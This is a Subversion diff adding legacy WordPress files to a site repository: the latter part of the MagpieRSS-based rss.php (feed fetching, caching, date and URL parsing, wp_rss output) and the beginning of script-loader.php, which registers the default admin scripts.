+                        debug("Fetch successful");
+                    }
+                    // add object to cache
+                    $cache->set( $cache_key, $rss );
+                    return $rss;
+                }
+            }
+            else {
+                $errormsg = "Failed to fetch $url ";
+                if ( $resp->status == '-100' ) {
+                    $errormsg .= "(Request timed out after " . MAGPIE_FETCH_TIME_OUT . " seconds)";
+                }
+                elseif ( $resp->error ) {
+                    # compensate for Snoopy's annoying habbit to tacking
+                    # on '\n'
+                    $http_error = substr($resp->error, 0, -2); 
+                    $errormsg .= "(HTTP Error: $http_error)";
+                }
+                else {
+                    $errormsg .=  "(HTTP Response: " . $resp->response_code .')';
+                }
+            }
+        }
+        else {
+            $errormsg = "Unable to retrieve RSS file for unknown reasons.";
+        }
+        
+        // else fetch failed
+        debug("MagpieRSS fetch failed [$errormsg]");
+
+        // attempt to return cached object
+        if ($rss) {
+            if ( MAGPIE_DEBUG ) {
+                debug("Returning STALE object for $url");
+            }
+            return $rss;
+        }
+        
+        // else we totally failed
+        error( $errormsg ); 
+        
+        return false;
+        
+    } // end if ( !MAGPIE_CACHE_ON ) {
+} // end fetch_rss()
+
+/*=======================================================================*\
+    Function:   error
+    Purpose:    set MAGPIE_ERROR, and trigger error
+\*=======================================================================*/
+
+function error ($errormsg, $lvl=E_USER_WARNING) {
+        global $MAGPIE_ERROR;
+        
+        // append PHP's error message if track_errors enabled
+        if ( isset($php_errormsg) ) { 
+            $errormsg .= " ($php_errormsg)";
+        }
+        if ( $errormsg ) {
+            $errormsg = "MagpieRSS: $errormsg";
+            $MAGPIE_ERROR = $errormsg;
+	    if ( MAGPIE_DEBUG ) {
+		    trigger_error( $errormsg, $lvl);
+	    } else {
+		    error_log($errormsg, 0);
+	    }
+        }
+}
+
+function debug ($debugmsg, $lvl=E_USER_NOTICE) {
+    trigger_error("MagpieRSS [debug] $debugmsg", $lvl);
+}
+            
+/*=======================================================================*\
+    Function:   magpie_error
+    Purpose:    accessor for the magpie error variable
+\*=======================================================================*/
+function magpie_error ($errormsg="") {
+    global $MAGPIE_ERROR;
+    
+    if ( isset($errormsg) and $errormsg ) { 
+        $MAGPIE_ERROR = $errormsg;
+    }
+    
+    return $MAGPIE_ERROR;   
+}
+
+/*=======================================================================*\
+    Function:   _fetch_remote_file
+    Purpose:    retrieve an arbitrary remote file
+    Input:      url of the remote file
+                headers to send along with the request (optional)
+    Output:     an HTTP response object (see Snoopy.class.inc)  
+\*=======================================================================*/
+function _fetch_remote_file ($url, $headers = "" ) {
+	// Ensure that we have constants set up, since they are used below.
+	init();
+
+	// WordPress 2.7 has deprecated Snoopy. It's still there, for now, but
+	// I'd rather not rely on it.
+	if (function_exists('wp_remote_request')) :
+		$resp = wp_remote_request($url, array(
+			'headers' => $headers,
+			'timeout' => MAGPIE_FETCH_TIME_OUT)
+		);
+
+		if ( is_wp_error($resp) ) :
+			$error = $resp->get_error_messages();
+
+			$client = new stdClass;
+			$client->status = 500;
+			$client->response_code = 500;
+			$client->error = implode(" / ", $error). "\n"; //\n = Snoopy compatibility
+		else :
+			$client = new stdClass;
+			$client->status = $resp['response']['code'];
+			$client->response_code = $resp['response']['code'];
+			$client->headers = $resp['headers'];
+			$client->results = $resp['body'];
+		endif;
+	else :
+		// Snoopy is an HTTP client in PHP
+		$client = new Snoopy();
+		$client->agent = MAGPIE_USER_AGENT;
+		$client->read_timeout = MAGPIE_FETCH_TIME_OUT;
+		$client->use_gzip = MAGPIE_USE_GZIP;
+		if (is_array($headers) ) {
+			$client->rawheaders = $headers;
+		}
+		@$client->fetch($url);
+	endif;
+	return $client;
+}
+
+/*=======================================================================*\
+    Function:   _response_to_rss
+    Purpose:    parse an HTTP response object into an RSS object
+    Input:      an HTTP response object (see Snoopy)
+    Output:     parsed RSS object (see rss_parse)
+\*=======================================================================*/
+function _response_to_rss ($resp, $url = null) {
+    $rss = new MagpieRSS( $resp->results, MAGPIE_OUTPUT_ENCODING, MAGPIE_INPUT_ENCODING, MAGPIE_DETECT_ENCODING, $url );
+    
+    // if RSS parsed successfully       
+    if ( $rss and !$rss->ERROR) {
+	    $rss->http_status = $resp->status;
+
+        // find Etag, and Last-Modified
+        foreach($resp->headers as $h) {
+            // 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
+            if (strpos($h, ": ")) {
+                list($field, $val) = explode(": ", $h, 2);
+            }
+            else {
+                $field = $h;
+                $val = "";
+            }
+            
+	    $rss->header[$field] = $val;
+
+            if ( $field == 'ETag' ) {
+                $rss->etag = $val;
+            }
+            
+            if ( $field == 'Last-Modified' ) {
+                $rss->last_modified = $val;
+            }
+        }
+        
+        return $rss;    
+    } // else construct error message
+    else {
+        $errormsg = "Failed to parse RSS file.";
+        
+        if ($rss) {
+            $errormsg .= " (" . $rss->ERROR . ")";
+        }
+        error($errormsg);
+        
+        return false;
+    } // end if ($rss and !$rss->error)
+}
+
+/*=======================================================================*\
+    Function:   init
+    Purpose:    setup constants with default values
+                check for user overrides
+\*=======================================================================*/
+function init () {
+    if ( defined('MAGPIE_INITALIZED') ) {
+        return;
+    }
+    else {
+        define('MAGPIE_INITALIZED', true);
+    }
+    
+    if ( !defined('MAGPIE_CACHE_ON') ) {
+        define('MAGPIE_CACHE_ON', true);
+    }
+
+    if ( !defined('MAGPIE_CACHE_DIR') ) {
+        define('MAGPIE_CACHE_DIR', './cache');
+    }
+
+    if ( !defined('MAGPIE_CACHE_AGE') ) {
+        define('MAGPIE_CACHE_AGE', 60*60); // one hour
+    }
+
+    if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
+        define('MAGPIE_CACHE_FRESH_ONLY', false);
+    }
+
+    if ( !defined('MAGPIE_OUTPUT_ENCODING') ) {
+        define('MAGPIE_OUTPUT_ENCODING', 'ISO-8859-1');
+    }
+    
+    if ( !defined('MAGPIE_INPUT_ENCODING') ) {
+        define('MAGPIE_INPUT_ENCODING', null);
+    }
+    
+    if ( !defined('MAGPIE_DETECT_ENCODING') ) {
+        define('MAGPIE_DETECT_ENCODING', true);
+    }
+    
+    if ( !defined('MAGPIE_DEBUG') ) {
+        define('MAGPIE_DEBUG', 0);
+    }
+    
+    if ( !defined('MAGPIE_USER_AGENT') ) {
+        $ua = 'MagpieRSS/'. MAGPIE_VERSION . ' (+http://magpierss.sf.net';
+        
+        if ( MAGPIE_CACHE_ON ) {
+            $ua = $ua . ')';
+        }
+        else {
+            $ua = $ua . '; No cache)';
+        }
+        
+        define('MAGPIE_USER_AGENT', $ua);
+    }
+    
+    if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
+        define('MAGPIE_FETCH_TIME_OUT', 5); // 5 second timeout
+    }
+    
+    // use gzip encoding to fetch rss files if supported?
+    if ( !defined('MAGPIE_USE_GZIP') ) {
+        define('MAGPIE_USE_GZIP', true);    
+    }
+}
+
+// NOTE: the following code should really be in Snoopy, or at least
+// somewhere other then rss_fetch!
+
+/*=======================================================================*\
+    HTTP STATUS CODE PREDICATES
+    These functions attempt to classify an HTTP status code
+    based on RFC 2616 and RFC 2518.
+    
+    All of them take an HTTP status code as input, and return true or false
+
+    All this code is adapted from LWP's HTTP::Status.
+\*=======================================================================*/
+
+
+/*=======================================================================*\
+    Function:   is_info
+    Purpose:    return true if Informational status code
+\*=======================================================================*/
+function is_info ($sc) { 
+    return $sc >= 100 && $sc < 200; 
+}
+
+/*=======================================================================*\
+    Function:   is_success
+    Purpose:    return true if Successful status code
+\*=======================================================================*/
+function is_success ($sc) { 
+    return $sc >= 200 && $sc < 300; 
+}
+
+/*=======================================================================*\
+    Function:   is_redirect
+    Purpose:    return true if Redirection status code
+\*=======================================================================*/
+function is_redirect ($sc) { 
+    return $sc >= 300 && $sc < 400; 
+}
+
+/*=======================================================================*\
+    Function:   is_error
+    Purpose:    return true if Error status code
+\*=======================================================================*/
+function is_error ($sc) { 
+    return $sc >= 400 && $sc < 600; 
+}
+
+/*=======================================================================*\
+    Function:   is_client_error
+    Purpose:    return true if Error status code, and its a client error
+\*=======================================================================*/
+function is_client_error ($sc) { 
+    return $sc >= 400 && $sc < 500; 
+}
+
+/*=======================================================================*\
+    Function:   is_client_error
+    Purpose:    return true if Error status code, and its a server error
+\*=======================================================================*/
+function is_server_error ($sc) { 
+    return $sc >= 500 && $sc < 600; 
+}
+
+################################################################################
+## rss_cache.inc: from WordPress 1.5 ###########################################
+################################################################################
+
+class RSSCache {
+	var $BASE_CACHE = 'wp-content/cache';	// where the cache files are stored
+	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
+	var $ERROR 		= '';			// accumulate error messages
+	
+	function RSSCache ($base='', $age='') {
+		if ( $base ) {
+			$this->BASE_CACHE = $base;
+		}
+		if ( $age ) {
+			$this->MAX_AGE = $age;
+		}
+	
+	}
+	
+/*=======================================================================*\
+	Function:	set
+	Purpose:	add an item to the cache, keyed on url
+	Input:		url from wich the rss file was fetched
+	Output:		true on sucess	
+\*=======================================================================*/
+	function set ($url, $rss) {
+		global $wpdb;
+		$cache_option = 'rss_' . $this->file_name( $url );
+		$cache_timestamp = 'rss_' . $this->file_name( $url ) . '_ts';
+		
+		if ( !$wpdb->get_var("SELECT option_name FROM $wpdb->options WHERE option_name = '$cache_option'") )
+			add_option($cache_option, '', '', 'no');
+		if ( !$wpdb->get_var("SELECT option_name FROM $wpdb->options WHERE option_name = '$cache_timestamp'") )
+			add_option($cache_timestamp, '', '', 'no');
+		
+		update_option($cache_option, $rss);
+		update_option($cache_timestamp, time() );
+		
+		return $cache_option;
+	}
+	
+/*=======================================================================*\
+	Function:	get
+	Purpose:	fetch an item from the cache
+	Input:		url from wich the rss file was fetched
+	Output:		cached object on HIT, false on MISS	
+\*=======================================================================*/	
+	function get ($url) {
+		$this->ERROR = "";
+		$cache_option = 'rss_' . $this->file_name( $url );
+		
+		if ( ! get_option( $cache_option ) ) {
+			$this->debug( 
+				"Cache doesn't contain: $url (cache option: $cache_option)"
+			);
+			return 0;
+		}
+		
+		$rss = get_option( $cache_option );
+		
+		// failsafe; seems to break at odd points in WP MU
+		if (is_string($rss)) {
+			$rss = $this->unserialize($rss);	
+		}
+		
+		return $rss;
+	}
+
+/*=======================================================================*\
+	Function:	check_cache
+	Purpose:	check a url for membership in the cache
+				and whether the object is older then MAX_AGE (ie. STALE)
+	Input:		url from wich the rss file was fetched
+	Output:		cached object on HIT, false on MISS	
+\*=======================================================================*/		
+	function check_cache ( $url ) {
+		$this->ERROR = "";
+		$cache_option = $this->file_name( $url );
+		$cache_timestamp = 'rss_' . $this->file_name( $url ) . '_ts';
+
+		if ( $mtime = get_option($cache_timestamp) ) {
+			// find how long ago the file was added to the cache
+			// and whether that is longer then MAX_AGE
+			$age = time() - $mtime;
+			if ( $this->MAX_AGE > $age ) {
+				// object exists and is current
+				return 'HIT';
+			}
+			else {
+				// object exists but is old
+				return 'STALE';
+			}
+		}
+		else {
+			// object does not exist
+			return 'MISS';
+		}
+	}
+
+/*=======================================================================*\
+	Function:	serialize
+\*=======================================================================*/		
+	function serialize ( $rss ) {
+		return serialize( $rss );
+	}
+
+/*=======================================================================*\
+	Function:	unserialize
+\*=======================================================================*/		
+	function unserialize ( $data ) {
+		return unserialize( $data );
+	}
+	
+/*=======================================================================*\
+	Function:	file_name
+	Purpose:	map url to location in cache
+	Input:		url from wich the rss file was fetched
+	Output:		a file name
+\*=======================================================================*/		
+	function file_name ($url) {
+		return md5( $url );
+	}
+	
+/*=======================================================================*\
+	Function:	error
+	Purpose:	register error
+\*=======================================================================*/			
+	function error ($errormsg, $lvl=E_USER_WARNING) {
+		// append PHP's error message if track_errors enabled
+		if ( isset($php_errormsg) ) { 
+			$errormsg .= " ($php_errormsg)";
+		}
+		$this->ERROR = $errormsg;
+		if ( MAGPIE_DEBUG ) {
+			trigger_error( $errormsg, $lvl);
+		}
+		else {
+			error_log( $errormsg, 0);
+		}
+	}
+			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
+		if ( MAGPIE_DEBUG ) {
+			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
+		}
+	}
+}
+
+################################################################################
+## rss_utils.inc: from MagpieRSS 0.8a ##########################################
+################################################################################
+
+/*======================================================================*\
+    Function: parse_w3cdtf
+    Purpose:  parse a W3CDTF date into unix epoch
+
+    NOTE: http://www.w3.org/TR/NOTE-datetime
+\*======================================================================*/
+
+function parse_w3cdtf ( $date_str ) {
+    
+    # regex to match wc3dtf
+    $pat = "/^\s*(\d{4})(-(\d{2})(-(\d{2})(T(\d{2}):(\d{2})(:(\d{2})(\.\d+)?)?(?:([-+])(\d{2}):?(\d{2})|(Z))?)?)?)?\s*\$/";
+    
+    if ( preg_match( $pat, $date_str, $match ) ) {
+        list( $year, $month, $day, $hours, $minutes, $seconds) = 
+            array( $match[1], $match[3], $match[5], $match[7], $match[8], $match[10]);
+
+        # W3C dates can omit the time, the day of the month, or even the month.
+	# Fill in any blanks using information from the present moment. --CWJ
+	$default['hr'] = (int) gmdate('H');
+	$default['day'] = (int) gmdate('d');
+	$default['month'] = (int) gmdate('m');
+
+	if (is_null($hours)) : $hours = $default['hr']; $minutes = 0; $seconds = 0; endif;
+	if (is_null($day)) : $day = $default['day']; endif;
+	if (is_null($month)) : $month = $default['month']; endif;
+
+        # calc epoch for current date assuming GMT
+        $epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);
+        
+        $offset = 0;
+        if ( $match[15] == 'Z' ) {
+            # zulu time, aka GMT
+        }
+        else {
+            list( $tz_mod, $tz_hour, $tz_min ) =
+                array( $match[12], $match[13], $match[14]);
+            
+            # zero out the variables
+            if ( ! $tz_hour ) { $tz_hour = 0; }
+            if ( ! $tz_min ) { $tz_min = 0; }
+        
+            $offset_secs = (($tz_hour*60)+$tz_min)*60;
+            
+            # is timezone ahead of GMT?  then subtract offset
+            #
+            if ( $tz_mod == '+' ) {
+                $offset_secs = $offset_secs * -1;
+            }
+            
+            $offset = $offset_secs; 
+        }
+        $epoch = $epoch + $offset;
+        return $epoch;
+    }
+    else {
+        return -1;
+    }
+}
+
+# Relative URI static class: PHP class for resolving relative URLs
+#
+# This class is derived (under the terms of the GPL) from URL Class 0.3 by
+# Keyvan Minoukadeh <keyvan@k1m.com>, which is great but more than we need
+# for MagpieRSS's purposes. The class has been stripped down to a single
+# public method: Relative_URI::resolve($url, $base), which resolves the URI in
+# $url relative to the URI in $base
+#
+# FeedWordPress also uses this class. So if we have it loaded in, don't load it
+# again.
+#
+# -- Charles Johnson <technophilia@radgeek.com>
+if (!class_exists('Relative_URI')) {
+	class Relative_URI
+	{
+		// Resolve relative URI in $url against the base URI in $base. If $base
+		// is not supplied, then we use the REQUEST_URI of this script.
+		//
+		// I'm hoping this method reflects RFC 2396 Section 5.2
+		function resolve ($url, $base = NULL)
+		{
+			if (is_null($base)):
+				$base = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
+			endif;
+	
+			$base = Relative_URI::_encode(trim($base));
+			$uri_parts = Relative_URI::_parse_url($base);
+	
+			$url = Relative_URI::_encode(trim($url));
+			$parts = Relative_URI::_parse_url($url);
+	
+			$uri_parts['fragment'] = (isset($parts['fragment']) ? $parts['fragment'] : null);
+			$uri_parts['query'] = (isset($parts['query']) ? $parts['query'] : null);
+	
+			// if path is empty, and scheme, host, and query are undefined,
+			// the URL is referring the base URL
+			
+			if (($parts['path'] == '') && !isset($parts['scheme']) && !isset($parts['host']) && !isset($parts['query'])) {
+				// If the URI is empty or only a fragment, return the base URI
+				return $base . (isset($parts['fragment']) ? '#'.$parts['fragment'] : '');
+			} elseif (isset($parts['scheme'])) {
+				// If the scheme is set, then the URI is absolute.
+				return $url;
+			} elseif (isset($parts['host'])) {
+				$uri_parts['host'] = $parts['host'];
+				$uri_parts['path'] = $parts['path'];
+			} else {
+				// We have a relative path but not a host.
+	
+				// start ugly fix:
+				// prepend slash to path if base host is set, base path is not set, and url path is not absolute
+				if ($uri_parts['host'] && ($uri_parts['path'] == '')
+				&& (strlen($parts['path']) > 0)
+				&& (substr($parts['path'], 0, 1) != '/')) {
+					$parts['path'] = '/'.$parts['path'];
+				} // end ugly fix
+				
+				if (substr($parts['path'], 0, 1) == '/') {
+					$uri_parts['path'] = $parts['path'];
+				} else {
+					// copy base path excluding any characters after the last (right-most) slash character
+					$buffer = substr($uri_parts['path'], 0, (int)strrpos($uri_parts['path'], '/')+1);
+					// append relative path
+					$buffer .= $parts['path'];
+					// remove "./" where "." is a complete path segment.
+					$buffer = str_replace('/./', '/', $buffer);
+					if (substr($buffer, 0, 2) == './') {
+					    $buffer = substr($buffer, 2);
+					}
+					// if buffer ends with "." as a complete path segment, remove it
+					if (substr($buffer, -2) == '/.') {
+					    $buffer = substr($buffer, 0, -1);
+					}
+					// remove "<segment>/../" where <segment> is a complete path segment not equal to ".."
+					$search_finished = false;
+					$segment = explode('/', $buffer);
+					while (!$search_finished) {
+					    for ($x=0; $x+1 < count($segment);) {
+						if (($segment[$x] != '') && ($segment[$x] != '..') && ($segment[$x+1] == '..')) {
+						    if ($x+2 == count($segment)) $segment[] = '';
+						    unset($segment[$x], $segment[$x+1]);
+						    $segment = array_values($segment);
+						    continue 2;
+						} else {
+						    $x++;
+						}
+					    }
+					    $search_finished = true;
+					}
+					$buffer = (count($segment) == 1) ? '/' : implode('/', $segment);
+					$uri_parts['path'] = $buffer;
+	
+				}
+			}
+	
+			// If we've gotten to this point, we can try to put the pieces
+			// back together.
+			$ret = '';
+			if (isset($uri_parts['scheme'])) $ret .= $uri_parts['scheme'].':';
+			if (isset($uri_parts['user'])) {
+				$ret .= $uri_parts['user'];
+				if (isset($uri_parts['pass'])) $ret .= ':'.$uri_parts['parts'];
+				$ret .= '@';
+			}
+			if (isset($uri_parts['host'])) {
+				$ret .= '//'.$uri_parts['host'];
+				if (isset($uri_parts['port'])) $ret .= ':'.$uri_parts['port'];
+			}
+			$ret .= $uri_parts['path'];
+			if (isset($uri_parts['query'])) $ret .= '?'.$uri_parts['query'];
+			if (isset($uri_parts['fragment'])) $ret .= '#'.$uri_parts['fragment'];
+	
+			return $ret;
+	    }
+	
+	    /**
+	    * Parse URL
+	    *
+	    * Regular expression grabbed from RFC 2396 Appendix B. 
+	    * This is a replacement for PHPs builtin parse_url().
+	    * @param string $url
+	    * @access private
+	    * @return array
+	    */
+	    function _parse_url($url)
+	    {
+		// I'm using this pattern instead of parse_url() as there's a few strings where parse_url() 
+		// generates a warning.
+		if (preg_match('!^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?!', $url, $match)) {
+		    $parts = array();
+		    if ($match[1] != '') $parts['scheme'] = $match[2];
+		    if ($match[3] != '') $parts['auth'] = $match[4];
+		    // parse auth
+		    if (isset($parts['auth'])) {
+			// store user info
+			if (($at_pos = strpos($parts['auth'], '@')) !== false) {
+			    $userinfo = explode(':', substr($parts['auth'], 0, $at_pos), 2);
+			    $parts['user'] = $userinfo[0];
+			    if (isset($userinfo[1])) $parts['pass'] = $userinfo[1];
+			    $parts['auth'] = substr($parts['auth'], $at_pos+1);
+			}
+			// get port number
+			if ($port_pos = strrpos($parts['auth'], ':')) {
+			    $parts['host'] = substr($parts['auth'], 0, $port_pos);
+			    $parts['port'] = (int)substr($parts['auth'], $port_pos+1);
+			    if ($parts['port'] < 1) $parts['port'] = null;
+			} else {
+			    $parts['host'] = $parts['auth'];
+			}
+		    }
+		    unset($parts['auth']);
+		    $parts['path'] = $match[5];
+		    if (isset($match[6]) && ($match[6] != '')) $parts['query'] = $match[7];
+		    if (isset($match[8]) && ($match[8] != '')) $parts['fragment'] = $match[9];
+		    return $parts;
+		}
+		// shouldn't reach here
+		return array('path'=>'');
+	    }
+	
+	    function _encode($string)
+	    {
+		static $replace = array();
+		if (!count($replace)) {
+		    $find = array(32, 34, 60, 62, 123, 124, 125, 91, 92, 93, 94, 96, 127);
+		    $find = array_merge(range(0, 31), $find);
+		    $find = array_map('chr', $find);
+		    foreach ($find as $char) {
+			$replace[$char] = '%'.bin2hex($char);
+		    }
+		}
+		// escape control characters and a few other characters
+		$encoded = strtr($string, $replace);
+		// remove any character outside the hex range: 21 - 7E (see www.asciitable.com)
+		return preg_replace('/[^\x21-\x7e]/', '', $encoded);
+	    }
+	} // class Relative_URI
+}
+
+################################################################################
+## WordPress: wp_rss(), get_rss() ##############################################
+################################################################################
+
+function wp_rss ($url, $num) {
+	//ini_set("display_errors", false); uncomment to suppress php errors thrown if the feed is not returned.
+	$num_items = $num;
+	$rss = fetch_rss($url);
+		if ( $rss ) {
+			echo "<ul>";
+			$rss->items = array_slice($rss->items, 0, $num_items);
+				foreach ($rss->items as $item ) {
+					echo "<li>\n";
+					echo "<a href='$item[link]' title='$item[description]'>";
+					echo htmlentities($item['title']);
+					echo "</a><br />\n";
+					echo "</li>\n";
+				}		
+			echo "</ul>";
+	}
+		else {
+			echo "an error has occured the feed is probably down, try again later.";
+	}
+}
+
+function get_rss ($uri, $num = 5) { // Like get posts, but for RSS
+	$rss = fetch_rss($url);
+	if ( $rss ) {
+		$rss->items = array_slice($rss->items, 0, $num_items);
+		foreach ($rss->items as $item ) {
+			echo "<li>\n";
+			echo "<a href='$item[link]' title='$item[description]'>";
+			echo htmlentities($item['title']);
+			echo "</a><br />\n";
+			echo "</li>\n";
+		}
+		return $posts;
+	} else {
+		return false;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/script-loader.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/script-loader.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/script-loader.php	(revision 44)
@@ -0,0 +1,727 @@
+<?php
+/**
+ * WordPress scripts and styles default loader.
+ *
+ * Most of the functionality that existed here was moved to
+ * {@link http://backpress.automattic.com/ BackPress}. WordPress themes and
+ * plugins will only be concerned about the filters and actions set in this
+ * file.
+ *
+ * Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
+ * define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and disables compression and concatenation
+ * define('CONCATENATE_SCRIPTS', false); disables compression and concatenation,
+ * define('COMPRESS_SCRIPTS', false); disables compression of scripts,
+ * define('COMPRESS_CSS', false); disables compression of CSS,
+ * define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
+ *
+ * The globals $concatenate_scripts, $compress_scripts and $compress_css can be set by plugins
+ * to temporarily override the above settings. Also a compression test is run once and the result is saved
+ * as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
+ *
+ * @package WordPress
+ */
+
+/** BackPress: WordPress Dependencies Class */
+require( ABSPATH . WPINC . '/class.wp-dependencies.php' );
+
+/** BackPress: WordPress Scripts Class */
+require( ABSPATH . WPINC . '/class.wp-scripts.php' );
+
+/** BackPress: WordPress Scripts Functions */
+require( ABSPATH . WPINC . '/functions.wp-scripts.php' );
+
+/** BackPress: WordPress Styles Class */
+require( ABSPATH . WPINC . '/class.wp-styles.php' );
+
+/** BackPress: WordPress Styles Functions */
+require( ABSPATH . WPINC . '/functions.wp-styles.php' );
+
+/**
+ * Setup WordPress scripts to load by default for Administration Panels.
+ *
+ * Localizes a few of the scripts.
+ * $scripts->add_data( 'script-handle', 'group', 1 ); queues the script for the footer
+ *
+ * @since 2.6.0
+ *
+ * @param object $scripts WP_Scripts object.
+ */
+function wp_default_scripts( &$scripts ) {
+
+	if ( !$guessurl = site_url() )
+		$guessurl = wp_guess_url();
+
+	$scripts->base_url = $guessurl;
+	$scripts->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : '';
+	$scripts->default_version = get_bloginfo( 'version' );
+	$scripts->default_dirs = array('/wp-admin/js/', '/wp-includes/js/');
+
+	$suffix = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? '.dev' : '';
+
+	$scripts->add( 'utils', "/wp-admin/js/utils$suffix.js", false, '20090102' );
+
+	$scripts->add( 'common', "/wp-admin/js/common$suffix.js", array('jquery', 'hoverIntent', 'utils'), '20090609' );
+	$scripts->add_data( 'common', 'group', 1 );
+	$scripts->localize( 'common', 'commonL10n', array(
+		'warnDelete' => __("You are about to delete the selected items.\n  'Cancel' to stop, 'OK' to delete."),
+		'l10n_print_after' => 'try{convertEntities(commonL10n);}catch(e){};'
+	) );
+
+	$scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", false, '1.6.1' );
+	$scripts->add_data( 'sack', 'group', 1 );
+
+	$scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", false, '20090307' );
+	$scripts->localize( 'quicktags', 'quicktagsL10n', array(
+		'quickLinks' => __('(Quick Links)'),
+		'wordLookup' => __('Enter a word to look up:'),
+		'dictionaryLookup' => esc_attr(__('Dictionary lookup')),
+		'lookup' => esc_attr(__('lookup')),
+		'closeAllOpenTags' => esc_attr(__('Close all open tags')),
+		'closeTags' => esc_attr(__('close tags')),
+		'enterURL' => __('Enter the URL'),
+		'enterImageURL' => __('Enter the URL of the image'),
+		'enterImageDescription' => __('Enter a description of the image'),
+		'l10n_print_after' => 'try{convertEntities(quicktagsL10n);}catch(e){};'
+	) );
+
+	$scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array('prototype'), '3517m' );
+
+	$scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", false, '20090503' );
+
+	$scripts->add( 'prototype', '/wp-includes/js/prototype.js', false, '1.6');
+
+	$scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array('jquery'), '20090128' );
+	$scripts->add_data( 'wp-ajax-response', 'group', 1 );
+	$scripts->localize( 'wp-ajax-response', 'wpAjax', array(
+		'noPerm' => __('You do not have permission to do that.'),
+		'broken' => __('An unidentified error has occurred.'),
+		'l10n_print_after' => 'try{convertEntities(wpAjax);}catch(e){};'
+	) );
+
+	$scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array('schedule', 'wp-ajax-response'), '20090526' );
+	$scripts->add_data( 'autosave', 'group', 1 );
+
+	$scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array('wp-ajax-response'), '20090504' );
+	$scripts->add_data( 'wp-lists', 'group', 1 );
+	$scripts->localize( 'wp-lists', 'wpListL10n', array(
+		'url' => admin_url('admin-ajax.php')
+	) );
+
+	$scripts->add( 'scriptaculous-root', '/wp-includes/js/scriptaculous/wp-scriptaculous.js', array('prototype'), '1.8.0');
+	$scripts->add( 'scriptaculous-builder', '/wp-includes/js/scriptaculous/builder.js', array('scriptaculous-root'), '1.8.0');
+	$scripts->add( 'scriptaculous-dragdrop', '/wp-includes/js/scriptaculous/dragdrop.js', array('scriptaculous-builder', 'scriptaculous-effects'), '1.8.0');
+	$scripts->add( 'scriptaculous-effects', '/wp-includes/js/scriptaculous/effects.js', array('scriptaculous-root'), '1.8.0');
+	$scripts->add( 'scriptaculous-slider', '/wp-includes/js/scriptaculous/slider.js', array('scriptaculous-effects'), '1.8.0');
+	$scripts->add( 'scriptaculous-sound', '/wp-includes/js/scriptaculous/sound.js', array( 'scriptaculous-root' ), '1.8.0' );
+	$scripts->add( 'scriptaculous-controls', '/wp-includes/js/scriptaculous/controls.js', array('scriptaculous-root'), '1.8.0');
+	$scripts->add( 'scriptaculous', '', array('scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls'), '1.8.0');
+
+	$scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array('scriptaculous-dragdrop'), '20070118');
+
+	$scripts->add( 'jquery', '/wp-includes/js/jquery/jquery.js', false, '1.3.2');
+
+	$scripts->add( 'jquery-ui-core', '/wp-includes/js/jquery/ui.core.js', array('jquery'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-core', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-tabs', '/wp-includes/js/jquery/ui.tabs.js', array('jquery-ui-core'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-tabs', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-sortable', '/wp-includes/js/jquery/ui.sortable.js', array('jquery-ui-core'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-sortable', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-draggable', '/wp-includes/js/jquery/ui.draggable.js', array('jquery-ui-core'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-draggable', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-droppable', '/wp-includes/js/jquery/ui.droppable.js', array('jquery-ui-core'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-droppable', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-selectable', '/wp-includes/js/jquery/ui.selectable.js', array('jquery-ui-core'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-selectable', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-resizable', '/wp-includes/js/jquery/ui.resizable.js', array('jquery-ui-core'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-resizable', 'group', 1 );
+
+	$scripts->add( 'jquery-ui-dialog', '/wp-includes/js/jquery/ui.dialog.js', array('jquery-ui-resizable', 'jquery-ui-draggable'), '1.7.1' );
+	$scripts->add_data( 'jquery-ui-dialog', 'group', 1 );
+
+	$scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array('jquery'), '2.02m');
+	$scripts->add_data( 'jquery-form', 'group', 1 );
+
+	$scripts->add( 'jquery-color', "/wp-includes/js/jquery/jquery.color$suffix.js", array('jquery'), '2.0-4561m');
+	$scripts->add_data( 'jquery-color', 'group', 1 );
+
+	$scripts->add( 'interface', '/wp-includes/js/jquery/interface.js', array('jquery'), '1.2' );
+
+	$scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array('jquery'), '1.1-20090125');
+	$scripts->add_data( 'suggest', 'group', 1 );
+
